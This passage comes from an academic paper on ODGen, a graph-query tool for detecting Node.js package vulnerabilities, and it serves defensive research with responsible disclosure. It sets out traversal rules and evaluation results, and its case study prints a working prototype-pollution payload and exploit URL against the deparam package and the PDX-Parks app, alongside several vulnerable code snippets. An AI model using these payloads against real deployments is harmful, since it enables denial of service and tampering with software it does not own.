},C f alse = ∨{Childa

s−→o
aρe
}

(IF)

(x = x+1,a′ ,ρ)⇒ ρx+1

(x++,a,ρ)⇒ ρx+1

(x = x−1,a′ ,ρ)⇒ ρx−1

(x−−,a,ρ)⇒ ρx−1
(INC/DEC)

(x1 = x1 op x2 ,a′ ,ρ)⇒ ρx1 op x2

(x1 aop x2 ,a,ρ)⇒ ρx1 op x2

(ASSIGN OP)
ρ⇒ (N,E,s,Br)

(c,a,ρ)⇒ (N∪{ao := AddOb j∗a},E ∪{AddEdgea
s−→o

a
s−→ao
},s,Br)

(CONST)

(e1 ,a.e1 ,ρ)⇒ (Ne1 ,Ee1 ,se1 ,Bre1 ), . . . ,(en ,a.en ,ρ)⇒ (Nen ,EEn ,sen ,Bren ),

(e1 , . . . ,en ,a,ρ)⇒ (
n⋃

i=1
Nei ,

n⋃
i=1

Eei ,sen ,Bren )
(EXPRESSION LIST)

(Btry ,a.Btry ,ρ)⇒ (Nt ,Et ,st ,Brt ),(Bcatch ,a.Bcatch ,ρBtry )⇒ (Nc ,Ec ,sc ,Brc)

(try{Btry}catch{Bcatch},a,ρ)⇒ (Nt ∪Nc ,Et ∪Ec ,s,br)
(TRY-CATCH)

(e1 ,a.e1 ,ρ)⇒ ρe1 ,(B1 ,a.B1 ,ρ
′
e1
)⇒ ρB1 , . . . ,(en ,a.en ,ρ)⇒ ρen ,(Bn ,a.Bn ,ρ

′
en )⇒ ρBn where ρ′ei

=
{ (Nρei

,Eρei
,sρei

,new br(ei)∪Brρei
) (branch-sensitive)

(Nρei
,Eρei

,sρei
,Brρei

) (branch-insensitive)

(switch e1{B1} . . .en{Bn},a,ρ)⇒ (
n⋃

i=1
{i f Childa

s−→o
aρei

= True then NρBi
else ∅},

n⋃
i=1
{i f Childa

s−→o
aρei

= True then EρBi
∪{AddEdgea→a

a→a.Bi
} else ∅},s,Br)

(SWITCH)

ρ⇒ (N,E,s,Br),(e,a.e,ρ)⇒ (Ne ,Ee ,se ,Bre)

(return e,a,ρ)⇒ (Ne ,Ee ∪{AddEdgea
s−→o

a′
s−→o′

,where a′ = ASTcaller ,o′ =Childa
s−→o

a.e },s,Br)
(RETURN)

(e,a.e,ρ)⇒ ρe ,(B1 ,a.B1 ,ρe)⇒ ρB1 ,(B2 ,a.B2 ,ρe)⇒ ρB2

(e : {B1}?{B2},a,ρ)⇒ i f Childa
s−→o

a.ρe = True then ρB1 else ρB2

(TERNARY)

ρ⇒ (N,E,s,Br),(x1 ,a.x1 ,ρ)⇒ (Nx1 ,Ex1 ,sx1 ,Brx1 ), . . . ,(xn ,a.xn ,ρ)⇒ (Nxn ,Exn ,sxn ,Brxn )

([x1 , . . . ,xn ],a,ρ)⇒ (
n⋃

i=1
Nxi ∪{ao := AddOb jarray

∅ }∪{vi = AddNodevar
i ,∀i ∈ {1, . . . ,n}},

n⋃
i=1

Exi ∪{AddEdgeo→v
ao→vi

,AddEdgev
br−→o

vi
Br−→oi

,where ∀oi ∈Childa
s−→o

a.xi
,∀i ∈ {1, . . . ,n}},s,Br)

(ARRAY)

ρ⇒ (N,E,s,Br),(e,a.e,ρ)⇒ ρe ,(B,a.B,ρe)⇒ ρB

(while (e){B},a,ρ)⇒ (NρB ,EρB ,s,Br)
(WHILE)

ρ⇒ (N,E,s,Br),(e1 ,a.e1 ,ρ)⇒ (ae1 ,ρe1 ),(e2 ,a.e2 ,ρe1 )⇒ ρe2 ,(B,a.e2 ,ρe2 )⇒ ρB ,(e3 ,ρB)⇒ ρe3

( f or(e1 ;e2 ;e3){B},a,ρ)⇒ (Nρe3
,Eρe3

,s,Br)
(FOR)

loop until ρB or ρe3 does not change or the number of looping reaches the threshold

Figure 5: Operational Semantics for ODG Construction.

include object definition and use from AST (DEFob j and
USEob j), property lookups (PROPname

ob j and PROTOTYPEx[y]),
data-flows (UNSANITIZEDob j and UNSANITIZEDSINKsink),

AST pattern matching (MATCHp, VULASGMTo1[o2]=o3,
VULASGMTo1=o2[o3], and ARGn

f unc) and control-flows
(CTRn

be f ore/a f ter).
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Table 2: Basic Graph Traversals (edges are defined in Table 1)
Traversal Description
DEFob j Object Definition: (a1 = ob j)→ o→ a2.
USEob j Object use: (a1 = ob j)→ o reverse−−−→ a2.
PROPname

ob j Property Lookup: (a= ob j)→ o1→ (v= name)→ o2.

PROTOTYPEx[y]

Prototype-related Property Lookup: (a0 = x)→ o0 →
{(vk = “__proto__”)

Brk−−→ ok}k>0,Brk+1⊂Brk → (v =

y)→ ok+1, where {}k means repeating k times.
UNSANITIZEDob j A Backward Unsanitized Dataflow traversal [15].
UNSANITIZEDSINKsink A Forward Unsanitized Dataflow traversal, i.e., a re-

verse version of UNSANITIZEDob j .
MATCHp This Match Traversal finds an AST node p [15].
VULASGMTo1[o2]=o3 UNSANITIZEDo2

⋂
MATCHo1[o2]=o3

VULASGMTo1=o2[o3] UNSANITIZEDo3
⋂

MATCHo1=o2[o3]
ARGn

f unc A traversal matches a function f unc and obtains its nth
argument.

CTRn
be f ore/a f ter A traversal follows control flow edges either forward

(a f ter) or backward (be f ore).

Table 3: Graph Traversals for Different Vulnerabilities
Vulnerability Graph Queries

Internal Property Tampering
Prototypical PROTOTYPELOOKUPo1[o5] ◦ (USEo1

⋂
CTRa f ter) ◦

(UNSANITIZEDo3
⋂

VULASGMTo1[o2]=o3)

Direct VULASGMTo1=o4[o5] ◦ DEFo1 ◦
(UNSANITIZEDo3

⋂
VULASGMTo1[o2]=o3)

Prototype Pollution
__proto__ VULASGMTo1=o4[o5] ◦ DEFo1 ◦

(UNSANITIZEDo3
⋂

VULASGMTo1[o2]=o3)
constructor VULASGMTo4=o6[o7] ◦ DEFo4 ◦ VULASGMTo1=o4[o5] ◦

DEFo1 ◦ (UNSANITIZEDo3
⋂

VULASGMTo1[o2]=o3)

Injection-related Vulnerabilities
Command injection UNSANITIZED ◦ARG1

Child_process.exec

Arbitrary code exe. UNSANITIZED ◦ARG1
eval

SQL injection UNSANITIZED ◦ARG1
connection.query

Reflected XSS UNSANITIZED ◦ARG1
response.write

Stored XSS UNSANITIZED ◦ (ARG1
connection.query

⋃
(ARG1

connection.query ◦UNSANITIZED ◦ARG1
response.write))

Improper File Access

Path traversal

(UNSANITIZEDSINKPROPwrite
ARG2

callback

⋂
CTRa f ter) ◦

(UNSANITIZEDSINKReadFile
⋂

CTRa f ter) ◦
PROP∗ ◦ ARG1

callback ◦ DEF AS callback ◦
(ARG1

CreateServer
⋃

ARG2
CreateHtt pServer)

Arbitrary file write
(UNSANITIZEDSINKPROPwriteFile

f s

⋂
CTRa f ter) ◦

PROP∗ ◦ ARG1
o1 ◦ DEF AS o1 ◦

(ARG1
CreateServer

⋃
ARG2

CreateHtt pServer)

4.2 Vulnerability Descriptions

In this subsection, we describe how to use graph traversals to
represent four big categories of vulnerabilities in Table 3.

Object-related Vulnerabilities We describe graph traver-
sals of two object-related vulnerability:

• Internal Property Tampering. Internal property tampering
(IPT) [5–7] allows an adversary to alter an internal property,
either under an object directly or a prototypical object, so
that future property lookups are affected. IPT has two
main conditions: (i) a vulnerable assignment statement
controllable by an adversary, and (ii) a property lookup
after (i). We list graph traversals of both prototypical and
direct property tampering in Table 3 based on these two
conditions.

• Prototype Pollution. Prototype pollution allows an
adversary to alter a built-in function following the

prototype chain. There are traditionally two pro-
totype pollution patterns: one through __proto__
(i.e., obj.__proto__.toString) and the other through
constructor (i.e., obj.constructor.prototype). We
describe graph traversals for both patterns in Table 3: The
former has two vulnerable assignments before the target
and the latter has three.

Injection Vulnerabilities Injection vulnerabilities allow
adversaries to execute arbitrary code via injections into a
sink function via user inputs. Such vulnerabilities are de-
tected via finding a backward taint-flow from a sink to an
adversary-controlled source and we model this taint-flow as
UNSANITIZED◦ARG∗sink. The traversals for specific injection
vulnerabilities are shown in Table 3.

Improper File Access Improper file access allows an ad-
versary to either read or write files on the filesystem without
a proper permission. We model two example types of vulner-
abilities in Table 3.
• Path Traversal. Path (directory) traversal allows an adver-

sary to navigate through directories via ../ to access local
files. We model it from a web server creation, to the call-
back of HTTP(s) request, then to a file read (ReadFile),
and finally to the HTTP(s) response in Table 3.

• Arbitrary File Write. Arbitrary file read allows an adversary
to write to arbitrary files due to improper input validation.
We model the vulnerability from a web server creation, to
the callback, and then to the write to the file system in
Table 3.

5 Implementation
We implemented an open-source prototype of ODGEN at this
repository (https://github.com/Song-Li/ODGen). The
implementation has three major parts:
• (i) ODG representation and query. The ODG together with

AST and CFG is stored in memory and queried based on a
Python library, NetworkX (https://networkx.github.
io/). We also store ODG with AST and CFG using pickle,
a Python object serialization method, to the harddisk for
future queries. Note that we adopt NetworkX instead of
a graph database like Neo4j, because we find that an in-
memory graph management is more efficient than a graph
database stored on the disk, especially during abstract in-
terpretation.

• (ii) JavaScript parser. The JavaScript parser is based on
Esprima (https://esprima.org) and we added imple-
mentations to convert AST from Esprima to the standard
format of CPG, i.e., those accepted by joern [15] and ph-
pjoern [21]. Note that we adopt the standard format so that
we can compare ODG with CPG in the evaluation.

• (iii) Abstract interpretation. We implemented a cus-
tomized abstract interpretation in Python and modeled pop-
ular built-in functions via JavaScript. Our implementation
includes popular AST features that are used by >5% of
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Table 4: [RQ1] Vulnerability coverage of different code rep-
resentation for modeling vulnerability types in the CVE
database between January 2019 and September 2020.

Vulnerability type # of CVE Code Representations
CPG∗ AST+ODG AST+CFG+ODG

Prototype pollution 71 (3) 3
Command injection 67 3 3 3
Cross Site Scripting (XSS) 60 3 3 3
Path (directory) traversal 32 (3) 3
Arbitrary code execution 18 3 3 3
Improper access control 14 3 3
Internal property tampering 11 (3) 3
Denial of Service (DoS) 11
Regex DoS (ReDoS) 9
Design errors 8
Information exposure 8 3 3 3
Arbitrary file write 8 (3) 3
SQL injection 5 3 3 3
SSRF 4 3 3
CSRF 2 3 3
Insecure HTTP 2 3 3 3

Total 330
∗: CPG = AST + CFG + PDG.
(3): It can be detected but with reduced capability.

Node.js packages. Note that we set a timeout as 30 seconds
in practice of analyzing Node.js packages.

6 Evaluation
In this section, we evaluate ODGEN by answering the follow-
ing research questions.
• RQ1: What are the recent Node.js vulnerability types and

is ODG capable of modeling them?
• RQ2: What is the capability of ODGEN in detecting zero-

day vulnerabilities among a large number of real-world
NPM packages?

• RQ3: What are the False Positives (FPs) and False Nega-
tives (FNs) of ODGEN?

• RQ4: What is the code coverage and performance overhead
of the abstract interpretation?

• RQ5: How will branch-sensitivity affect the vulnerability
detection of ODGEN?
We performed our experiments on a server with 192 GB

= 6*32GB RDIMM 2666MT/s Dual Rank memory, Intel R©

Xeon R© E5-2690 v4 2.6GHz, 35M Cache, 9.60GT/s QPI,
Turbo, HT, 14C/28T (135W) Max Mem 2400MHz, and 4
* 2TB 7.2K RPM SATA 6Gbps 3.5in Hot-plug Hard Drive.

6.1 RQ1: Historical Node.js vulnerability coverage

In this subsection, we answer the research question on the
ODG’s capability in modeling real-world Node.js package
vulnerabilities. We start from querying the central database
maintained by the MITRE organization together with informa-
tion provided by the synk.io database for recent (i.e., January
2019–September 2020) vulnerabilities of Node.js packages
on NPM. In total, we retrieved 330 vulnerabilities of Node.js
packages after excluding vulnerabilities of Node.js platforms
(e.g., those with underlying memory issues). We then manu-
ally go through the vulnerability by downloading the origi-
nally vulnerable package and analyze the code together with

the descriptions on CVE and snyk.io to understand the vulner-
ability category. Table 4 shows all 16 vulnerability categories
and corresponding # of CVEs in the database.

Next, we follow the evaluation methodology adopted in
the CPG paper [15] to manually analyze what code represen-
tations are necessary in describing those vulnerability cate-
gories in Node.js. In addition to the code presentations in
CPG, we add ODG and try to understand the capability of
ODG in describing vulnerabilities. Note that the object-level
data dependency is a more fine-grained version of statement-
level data dependency in PDG, and thus we do not need to
study PDG+ODG in the code representation.

Table 4 shows the analysis results: ODGEN is able to
model 13 out of 16 vulnerability types, i.e., 302 out of 330
recent vulnerabilities. The rest vulnerability types are general
Denial of Service, Regex Denial of Service (ReDoS), and bad
designs. ODG cannot model ReDoS because it is caused by a
vulnerable regex rather than JavaScript; ODG cannot model
many other DoS because some of them are caused by the event
loop. Fortunately, Staicu et al. [22] and Davis et al. [23] either
detect or defend against DoS attacks. ODG cannot model
vulnerabilities due to bad designs, e.g., incorrect validation
of inputs—this is the same as the CPG paper, which leaves
design errors out of scope as well.

6.2 RQ2: Zero-day Node.js vulnerabilities

In this research question, we evaluate the capability of
ODGEN in detecting zero-day Node.js vulnerabilities both
at the application-level and the package-level as described in
Section 2.2. Specifically, we crawled 300K NPM packages on
February 25, 2020 and applied ODGEN with graph queries to
detect corresponding vulnerabilities. Our target vulnerability
is selected from the top ones in Table 4; we also intentionally
include those that are unique to JavaScript, such as prototype
pollution and internal property tampering.

Results. Table 5 (the “# reported” column) shows a list of
vulnerabilities found by ODGEN. Due to time limit and the
extensive number of reported vulnerabilities, we manually
checked and exploited all the vulnerable applications and
these vulnerable packages with >1,000 weekly downloads.
The “TP” column indicates that we can generate an exploit to
compromise the package if deployed locally and the vulnera-
bility is not an intended functionality of the package, and the
“FP” column that we fail to generate a working exploit or the
vulnerability is an intended functionality of the package, e.g.,
a package like shell-utils designed to execute arbitrary
OS command. Lastly, the “# CVE” column is the total number
of CVE identifiers that we obtained.

We first break down all the found vulnerabilities by
application- vs. package-level in Table 5 . The number of
application-level vulnerabilities is relatively small compared
with the one of package-level. This is because the total num-
ber of Node.js standalone applications is also much smaller
than the one of packages.
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Table 5: [RQ2] A breakdown of zero-day vulnerabilities found
by ODGEN.

#Reported #Checked TP FP #CVE
Total 2,964 264 180 84 70
App. vs. package breakdown
Application-level 57 57 43 14 6
Indirect Package-level 34 34 15 19 0
Direct Package-level 2,873 173 122 51 64
Vulnerability type breakdown
Path traversal 109 40 30 10 6
Command injection 1,253 108 80 28 52
Arbitrary code execution 183 17 14 3 8
Internal property tampering 910 46 24 22 0
Prototype pollution 492 36 19 17 4
Cross Site Scripting (XSS) 17 17 13 4 0

(a) Vulnerable code:

1module.exports = function deparam( params ) {
2 var obj = {};
3 params.replace (/\+/g, ’ ’).split(’&’).forEach(

function(v){
4 var param = v.split(’=’), key = decodeURIComponent(

param[0]), cur = obj, i = 0;
5 ... // convert string "key" to array "keys",

e.g., ’a[b][c]’ -> [’a’, ’b’, ’c’]
6 var keys_last = keys.length - 1;
7 if ( param.length === 2 ) {
8 val = decodeURIComponent( param[1] );
9 for ( ; i <= keys_last; i++ ) {

10 key = keys[i];
11 if (i < keys_last) {
12 cur = cur[key] || (keys[i+1] && isNaN( keys[i

+1] ) ? {} : []);
13 } else {
14 cur = cur[key] = val; // vulnerable location
15 }
16 }
17 }
18 });
19 return obj;
20};

(b) Exploit:

1 var deparam = require("deparam");
2 var payload = "a[__proto__][toString ]=123";
3 deparam(payload);
4 console.log({}.toString)

Figure 6: [RQ2] A package-level prototype pollution in de-
param and the exploit code (It leads to an application-level
vulnerability in PDX-Parks, a park search application).

We then break down these vulnerabilities by their types in
Table 5. The number of command injection vulnerabilities is
the most among all the vulnerability types as Node.js is com-
monly used as a client- or server-side utility application to
start OS applications. We also find many prototype pollution
vulnerabilities as this is a relatively new type. The number
of XSS vulnerabilties is small because our prototype imple-
mentation only models the simple web server provided by the
Node.js framework but not those advanced web frameworks.

Case Study. In this part, we describe a popular Node.js
package, called deparam, which has two other variations
on NPM, node-jquery-deparam and jquery-deparam. All
three packages provide reverse functions for the famous
jquery function $.param(), called deparam. The function

Table 6: Baseline Detectors (CI: Command Injection, ACE:
Arbitrary Code Execution, PT: Path Traversal, PP: Prototype
Pollution)
Name Type In-scope vuln. Original tool Our impl.∗ (LoC)
JSJoern static CI, ACE, PT phpjoern [21] 260 (Java)+415 (Python)
NodeJsScan regex CI, ACE, PT NodeJsScan [24] N/A
JSTap-vul static CI, ACE, PT JSTap [8] 134 (Python)
Synode-det static CI, ACE, PT Synode [2] 74 (Java)
PPFuzzer dynamic PP Arteau [3] N/A
Nodest static CI, ACE Nodest [1] 288 (Java)+27 (Javascript)
Ensemble The combination of the above six detectors.
∗: Because some tools are not for vulnerability detection, target another language or are
close-sourced, we have to retrofit them for evaluation of vulnerability detection. Note
that we keep their static analysis part integral.

Table 7: [RQ3-FP] FP/(FP+TP) of general-purpose static de-
tectors.

JSJoern JSTap-vul ODGen
15/(15+5) = 75% 16/(16+4) = 80% 84/(84+180) = 32%

deparam takes a parameterized query string and converts the
string back into an object.
deparam is vulnerable to prototype pollution as shown in

the simplified code of Figure 6 (a) and the exploit in Fig-
ure 6 (b). Specifically, when deparam constructs an object, it
does not check whether a property lookup follows the proto-
type chain (Line 14 of Figure 6 (a)). Therefore, an adversary
can pollute Object.prototype.toString using the code at
Line 2 of Figure 6 (b): When the for-loop at Line 9 is executed
for the second time, toString is polluted at Line 14.

Since one popular use of deparam is to parse the query
string of an URL, it will lead to application-level vulnerabili-
ties. We search the use of deparam on github and find a real-
world vulnerable web application, called PDX-Parks (https:
//github.com/meandavejustice/pdx-parks), which al-
lows a user to search for nearby parks with given latitude
and longitude. PDX-Parks adopts deparam to decompose a
query string into an object, thus being vulnerable. Specifi-
cally, we deployed the website locally and exploited the site
via http://localhost/parks?[__proto__][toString]
=123, which leads to a Denial-of-Service (DoS) for all legiti-
mate requests. The reason is that PDX-Parks adopts express,
which needs a correct toString function.

6.3 RQ3: FP and FN

In this subsection, we answer the research question of the
false positives (FPs) and false negatives (FNs) of ODGEN.

Baseline Detectors. We now introduce several baseline
vulnerability detectors for the purpose of comparing with
ODGEN in Table 6 including the technique type (static vs.
dynamic vs. regex) and their in-scope vulnerabilities. Because
we modified several existing JavaScript static analysis tools,
such as phpjoern, Synode, and JSTap, to detect Node.js vul-
nerabilities, we also make our modification open-source in
the same URL as ODGEN.

False Positives. In this part, we evaluate the false positives
(FPs) of ODGEN and compare it with two other general-
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Table 8: [RQ3-FP] A breakdown of FPs of ODGEN.
Vulnerability Unmodeled

function
Unsolvable
constraints

Intended
functionality

Command injection 7 9 12
Arbitrary code execution 1 1 1
Prototype pollution 7 8 2
Path traversal 0 10 0
Internal property tampering 0 21 1

purpose, static detectors, i.e., JSJoern and JSTap-vul. We ap-
ply both tools on 300K Node.js packages and then select the
detected packages with Top 20 weekly downloads for manual
verification. Table 7 shows the comparison results. JSJoern
and JSTap have very high FPs because they do not have points-
to information. Due to the lack of points-to information, they
have to make many over-approximations, which lead to wrong
call edges. Note that we did not compare with either dynamic
or regex based detectors on FPs, because they are using dif-
ferent techniques, which tend to have low FPs. We also did
not compare with Synode-det or Nodest due to scalability
issues: Nodest needs installations of all dependencies and
Synode-det does not support many ES6 features.

We also manually inspect all the FPs for ODGEN and
break down the FPs by vulnerability types and reasons in
Table 8. There are three main reasons: (i) unmodeled built-
in functions, (ii) unsolvable constraints, and (iii) intended
functionalities. First, our prototype of ODGEN only models
popular Node.js built-in functions, i.e., those used by more
than 5% packages. If ODGEN does not model a unpopular
function especially when it is used for sanitization, ODGEN
may report a false positive. Second, ODGEN does not solve
all the control- and data-flow constraints, but only calculates
all possible constant values if they are available. Therefore,
it is possible that ODGEN finds a path, but the constraints
along the path cannot be satisfied. Third, some packages may
be designed for a certain functionality, e.g., executing an OS
command. ODGEN will detect them as command injection,
but this is not a vulnerability.

Figure 7 shows an FP example of unsolvable constraints
for prototype pollution. ODGEN reports it as prototype pol-
lution because ODGEN finds two vulnerable assignments at
Lines 7 (in the first loop run) and 8 (in the second loop run).
Then, the assigned value at Line 8 is also controllable by the
adversary. However, although the assigned value o at Line 8
is controllable by the adversary, it happens to be the same as
the assignee cur[nameTokens[i]]. ODGEN needs to add
additional constraints for the assigned value so that it can
remove such an FP.

False Negatives. In this part, we evaluate the false negatives
(FNs) of ODGEN by using a benchmark of legacy CVE vul-
nerabilities. Specifically, we downloaded historical packages
(until February 2020) with five categories of vulnerabilities
from CVE as a benchmark. It is worth noting that we exclude
some vulnerabilities, such as XSS in this benchmark, because

1 //pixi -gl-core@1.1.4
2 function getUniformGroup(nameTokens , uniform)
3 {
4 var cur = uniform;
5 for (var i = 0; i < nameTokens.length - 1; i++)
6 {
7 var o = cur[nameTokens[i]] || {data:{}};
8 cur[nameTokens[i]] = o;
9 cur = o;

10 }
11 return cur;
12 }

Figure 7: [RQ3-FP] A false positive example of prototype
pollution reported by ODGEN.

1 // curlrequest@1 .0.1
2 exports.request = function(options ,callback){
3 if (arguments.length === 1) {
4 exports.request.call(this, options , callback);
5 ... } // request calls itself.
6 if (options.retries) {
7 exports.request(options , function (err) {}
8 ... } // request calls itself.
9 exports.copy(options); // request calls copy.

10 }
11 exports.copy = function (obj) {
12 for (var i in obj) {
13 if (Array.isArray(obj[i])) {...}
14 else if (typeof obj[i] === ’object’) {
15 copy[i] = obj[i] ? exports.copy(obj[i]) :

null; // copy calls itself.
16 } else {...}
17 }
18 return copy;
19 };

Figure 8: [RQ3-FN] A false negative example in detecting
a legacy path traversal vulnerability (multiple recursive calls
lead to object explosion and time-out).

they involve many different web frameworks, many of which
have not been modeled in our prototype implementation.

Table 9 shows the false negatives of ODGEN and exist-
ing analysis tools in detecting CVE vulnerabilities. Clearly,
ODGEN’s true positives are the highest and false negatives
are the lowest, i.e., outperforming all existing works in detect-
ing legacy CVE vulnerabilities because of the modeling of
object-level data dependencies. We breakdown all the FNs
of ODGEN into two reasons in Table 10 and describe them
below. First, we only modeled a limited number of built-in
functions, i.e., those that are adopted by more than 5% of
Node.js packages. Therefore, ODGEN may miss some data
dependencies due to lack of modeling. Second, the abstract
interpretation of ODGEN may time out and leave a partial
ODG without finishing interpreting all Node.js functions.

We also show a specific FN example in Figure 8. This
example has a path traversal vulnerability, but the abstract
interpretation cannot reach the vulnerable code because of
multiple recursive calls for both request() and copy() func-
tions. The number of object nodes for each functions is over
15k and multiple recursive calls lead to an object explosion
even with our hybrid branch sensitivity.
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Table 9: [RQ3-FN] Comparison of ODGEN with prior program analysis in detecting legacy CVE vulnerabilities.

Detector Total Command injection Prototype pollution Arbitrary code execution Path traversal Internal property tampering
TP FN TP FN TP FN TP FN TP FN TP FN

NodeJsScan 5 251 2 73 - - 2 29 1 86 - -
JSJoern 39 217 22 53 - - 5 26 12 75 - -
JSTap-vul 52 204 27 48 - - 5 26 12 75 - -
Synode-det 7 249 6 69 - - 1 30 0 87 - -
Nodest 7 249 7 68 - - 0 31 - - - -
PPFuzzer 29 23 - - 29 23 - - - - - -
Ensemble 115 141 46 29 29 23 13 18 27 60 0 11
ODGEN 189 67 67 8 40 12 20 11 55 32 7 4

Table 10: [RQ3-FN] A breakdown of reasons of FNs of
ODGEN.

Vulnerability name # Timeout # Unmodeled function
Command injection 4 4
Prototype pollution 9 3
Arbitrary code execution 5 6
Path traversal 22 10
Internal property tampering 2 2
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Figure 9: [RQ4-Coverage] Distribution of statement and func-
tion coverage (timeout: 30 seconds). One major reason of
uncovered code is the runtime inclusion of JavaScript files
depending on inputs.

6.4 RQ4: Abstract Interpretation Performance

We answer the research question on the code coverage and
performance overhead of abstract interpretation implemented
in ODGEN.

Code Coverage. In this subsection, we answer the research
question on the code coverage of ODGEN’s abstract interpre-
tation in terms of two specific metrics: statement coverage
and function coverage. Statement coverage defines the per-
centage of statements that are executed and function coverage
the percentage of functions that are analyzed by ODGEN.
Both metrics show how complete ODGEN is in analyzing
Node.js packages. Figure 9 shows a distribution graph of state-
ment and function coverages when analyzing 500 randomly-
selected Node.js packages with a timeout as 30 seconds. The
figure is almost an even distribution graph from 0 to 90% and
then shows a sudden jump in 90–100%. Actually, about 40%
of packages have 100% code coverage.

The reasons of a relatively low coverage of some packages
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Figure 10: [RQ4-Performance] CDF graph of total execution
time to finish analysis.

are as follows. First, there are some dead code that are copied
from another package or online that is not invoked from the
exported function. Second, some packages may dynamically
include a file depending on the inputs, which cannot be stati-
cally resolved. Third, some functions, particularly exported
ones, will return another function as a return value—such
returned functions will only be called if another package in-
vokes them.

Performance Overhead. In this subsection, we answer the
research question of the performance overhead of ODGEN
in generating ODG for real-world Node.js packages. Our
methodology is as follows. We randomly select 500 Node.js
packages and run ODGEN against all the packages until the
analysis finishes or time out. Figure 10 shows a CDF graph
with 30 seconds as the time-out threshold: ODGEN finishes
analyzing 85% of packages within 30 seconds when being
branch sensitive and 93% when being branch insensitive. This
evaluation shows that ODGEN is efficient in generating ODG
for most of Node.js packages.

6.5 RQ5: Branch-sensitivity

In this subsection, we answer the research question on
how branch-sensitivity affects the vulnerability detection of
ODGEN. Table 11 shows the number of detected vulnerabil-
ities under different branch sensitivities. Clearly, the hybrid
branch sensitivity adopted by ODGEN detects the largest
number of vulnerabilities: It combines both advantages, i.e.,
accuracy and scalability, with and without branch sensitivity.

Figure 11 shows why the hybrid branch sensitivity will help
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Table 11: [RQ5] the number of detected legacy CVE vulnera-
bilities with branch sensitivity enabled and disabled.
Vulnerability name Hybrid Branch-sensitive Branch-insensitive
Command injection 67 64 66
Prototype pollution 40 36 29
Arbitrary code execution 20 18 17
Path traversal 55 55 51
Internal property tampering 7 6 7
Total 189 179 170

1// limdu@0.9.4
2 exports.toSvmLight =
3 function(dataset , bias , binarize ,

firstFeatureNumber) {
4 var lines = "";
5 for (var i=0; i<dataset.length; ++i) {
6 var line = (i>0? "\n": "") + // 2 objects
7 (binarize? (dataset[i].output >0? "1": "-1"):

dataset[i].output) + // 2+1 objects
8 featureArrayToFeatureString(dataset[i].input ,

bias , firstFeatureNumber); // 54 objects
9 // 2*3*54 objects

10 lines += line;
11 }; // (2*3*54)^3=34,012,224 objects
12 ...
13 }

Figure 11: [RQ5] A false negative in detecting a legacy
command injection vulnerability with branch-sensitive mode
(The number of objects explodes and ODGEN times out).

the detection of more vulnerabilities. We annotate the source
code with the number of object nodes in branch sensitivity
enabled. Because the source code has multiple conditional ex-
pressions and a for loop, the number of object nodes quickly
increases to over 34 million. ODGEN will reduce to branch in-
sensitive mode in abstractly interpreting the code when object
explosion is detected.

7 Discussion and Limitation
Ethics: Responsible Disclosure. We have disclosed all 180
zero-day vulnerabilities to their developers together with
Proof of Vulnerability (PoV) under the help of snyk.io. All
the details of these vulnerabilities can be found in the ap-
pendix. If we do not hear from the developer, we will publicly
release the vulnerability after a 60-day disclosure window. So
far, 12 vulnerable packages have already been fixed.
Prototype Implementation and Limitation. We now discuss
several implementation choice and limitation.

• Supported JavaScript Features. Our prototype implementa-
tion follows the popularity of AST features among Node.js
packages, i.e., we implemented those that are used by more
than 5% of packages. Note that ODGEN can still analyze
packages with unimplemented features but just skip the
unimplemented part.

• Asynchronous Callbacks and Events. The prototype im-
plementation of ODGEN adopts a queue structure to store
asynchronous callbacks during registration and invokes
them one by one. We acknowledge that this is just one of
many possibilities that could happen in a real execution

and leave the modeling of an event-based call graph like
Madsen et al. [25] as a future work.

• For-loop and Recursive Call in Abstract Interpretation. As
discussed in Section 3.2, ODGEN extensively executes a
for-loop until no more new objects outside the loop are
being looked-up. ODGEN also adopts a minimum time as
three and a maximum as ten in abstractly interpreting for
loops and recursive calls. The minimum value is designed
in case some external objects are not modeled in depth; the
maximum value is designed to avoid dead loop and reduce
performance overhead.

• Dynamically-included Files. As a general limitation of
static analysis, ODGEN cannot analyze any files that are
dynamically included depending on user inputs. This can
only be analyzed with user inputs and dynamic analysis.

• Sanitization Functions. The prototype implementation
of ODGEN adopts a list of sanitization functions, e.g.,
parseInt, in analyzing dataflow. Currently, the list is gen-
erated manually and we leave it for the future work for
automatic generation.

Path-sensitivity. ODGEN is partially path-sensitive, i.e.,
ODGEN will calculate boolean, string and integer values if
they are either constant or enumerable. For an if statement, if
the value can be determined, ODGEN will abstractly interpret
only one branch; otherwise, ODGEN will abstractly interpret
both branches in parallel.

8 Related Work
Node.js Vulnerability Detection and Defense. In the past,
researchers have studied Node.js vulnerabilities and we dis-
cuss them based on their vulnerability types. Arteau [3] pro-
poses a fuzzer to explore Node.js packages for prototype
pollution. DAPP [13] uses AST and control-flow patterns to
detect prototype pollution vulnerabilities with very high false
positive and negative rates (50.6% and 84.6% respectively).
ObjLupAnsys [12] detects prototype pollution by expanding
object lookups and propagating taints during abstract interpre-
tation. Nodest [1] proposed a closed-source detection frame-
work to detect command injection vulnerabilities following
the risks as mentioned by Ojamaa et al. [26]. Then, SYN-
ODE [2] adopts a rewriting technique to enforce a template
before executing a possible injection API like eval. Many
prior works [22, 27, 28] propose to detect or defend against
regular expression DoS (ReDoS); Davis et al. [23] propose to
defend against Event Handler Poisoning (EHP) DoS attack.

Other than specific vulnerabilities, ConflictJS [29] studied
and analyzed conflicts among different JavaScript libraries;
Zimmermann et al. [30] studied the robustness of third-party
Node.js packages and their influence on other packages’ secu-
rity. Researchers [31] have also proposed to study the binding
layers of the Node.js for all kinds of vulnerabilities. Minin-
ode [32] proposes to reduce the attack surface of Node.js and
improve the overall security. As a comparison, ODGEN is the
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first general graph query-based framework of JavaScript for
efficient detection of a variety types of Node.js vulnerabilities.
Client-side JavaScript Security. JavaScript is traditionally
used at client-side as the scripting language and has been
studied [33–36] long before the appearance of Node.js. Cross-
site scripting (XSS) [37–41] and Cross-Site Script Inclusion
attack (XSSI) [42] attacks are well studied on the client
side. Malicious JavaScript has been studied by many prior
works, such as HideNoSeek [43], JShield [44] and JSTap [8],
for detection and defense. Researchers proposed to secure
JavaScript via security policies, such as content security pol-
icy. Examples are like GateKeeper [45] and CSPAutoGen [46].
Program analysis [47,48] have also been adopted at the client
side for security analysis. Many prior works [49–52] have
been proposed to restrict JavaScript, especially those from
third-party, in a subset for security. We believe that ODG is
able to analyze client-side JavaScript as well and leave those
as our future work. In the evaluation, we compared ODGEN
with JSTap, a client-side JavaScript analysis tool that can gen-
erate program dependency graph (PDG). The results show
that ODGEN can detect more vulnerability than JSTap.
Static Analysis of JavaScript. TAJS [10] and JSAI [11]
adopt abstract interpretation to analyze JavaScript programs
